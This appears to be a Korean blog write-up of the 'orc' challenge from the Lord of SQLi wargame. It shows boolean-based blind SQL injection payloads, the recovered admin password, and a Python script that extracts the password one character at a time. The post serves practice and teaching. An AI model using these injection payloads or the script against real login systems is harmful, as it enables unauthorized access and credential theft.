DINGA DINGA
article thumbnail
Published 2021. 5. 7. 11:58
[LOS] orc WEB/LOS
728x90

pw 값이 일치해야 풀리는 문제다.

알고 있는 값이 없기 때문에 우선 패스워드의 길이를 알아내려고 한다.

 

아래와 같은 쿼리문을 작성하여 pw의 길이를 1부터 대입해봤다.

 

8까지 입력하니 Hello admin이 출력된다.

즉, pw의 길이가 8이라는 말이다.

 

이제 pw를 한 자리씩 찾아야 한다.

아래의 쿼리를 이용할 것이다.

 

?pw=' or id='admin' and substring(pw, n, 1)='a

 

substring() 함수를 이용해 pw의 n번째 자리가 a인지 판단한다.

더보기

첫 번째 자리: 0

 

두 번째 자리: 9

 

세 번째 자리: 5

 

네 번째 자리: a

 

다섯 번째 자리: 9

 

여섯 번째 자리: 8

 

일곱 번째 자리: 5

 

여덟 번째 자리: 2

 

 

이렇게 찾은 8자리 패스워드는 095a9852 다.

이제 확인해보자.

 

Clear!

 

*추가: 파이썬을 이용한 자동화

더보기

나는 몰라서 노가다로 풀었지만.. 찾아보니 파이썬을 이용해 자동화하여 pw를 찾아낼 수 있다고 한다.

 

코드

import re, urllib, urllib2

pw=""
ssid = "자신의 세션 아이디"
print("find pw")

for i in range(1, 9): # pw의 길이만큼 반복
    for j in range(48, 123): # 0~9, a-z, A-Z까지의 ASCII 코드
        url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=1%27%20or%20id=%27admin%27"
        url += "%20and%20ascii(substr(pw,"+str(i)+",1))="+str(j)+"--%20"
        req=urllib2.Request(url) # send request
        req.add_header('Cookie',"PHPSESSID=%s" % ssid)
        read = urllib2.urlopen(req).read()

        if "Hello admin" in read:
            pw += chr(j)
            print ("pw: " + pw)
            break

print ("Fin")

 

실행 결과

728x90

'WEB > LOS' 카테고리의 다른 글

[LOS] darkelf  (0) 2021.05.20
[LOS] wolfman  (0) 2021.05.13
[LOS] goblin  (0) 2021.04.09
[LOS] cobolt  (0) 2021.04.03
[LOS] gremlin  (0) 2021.03.27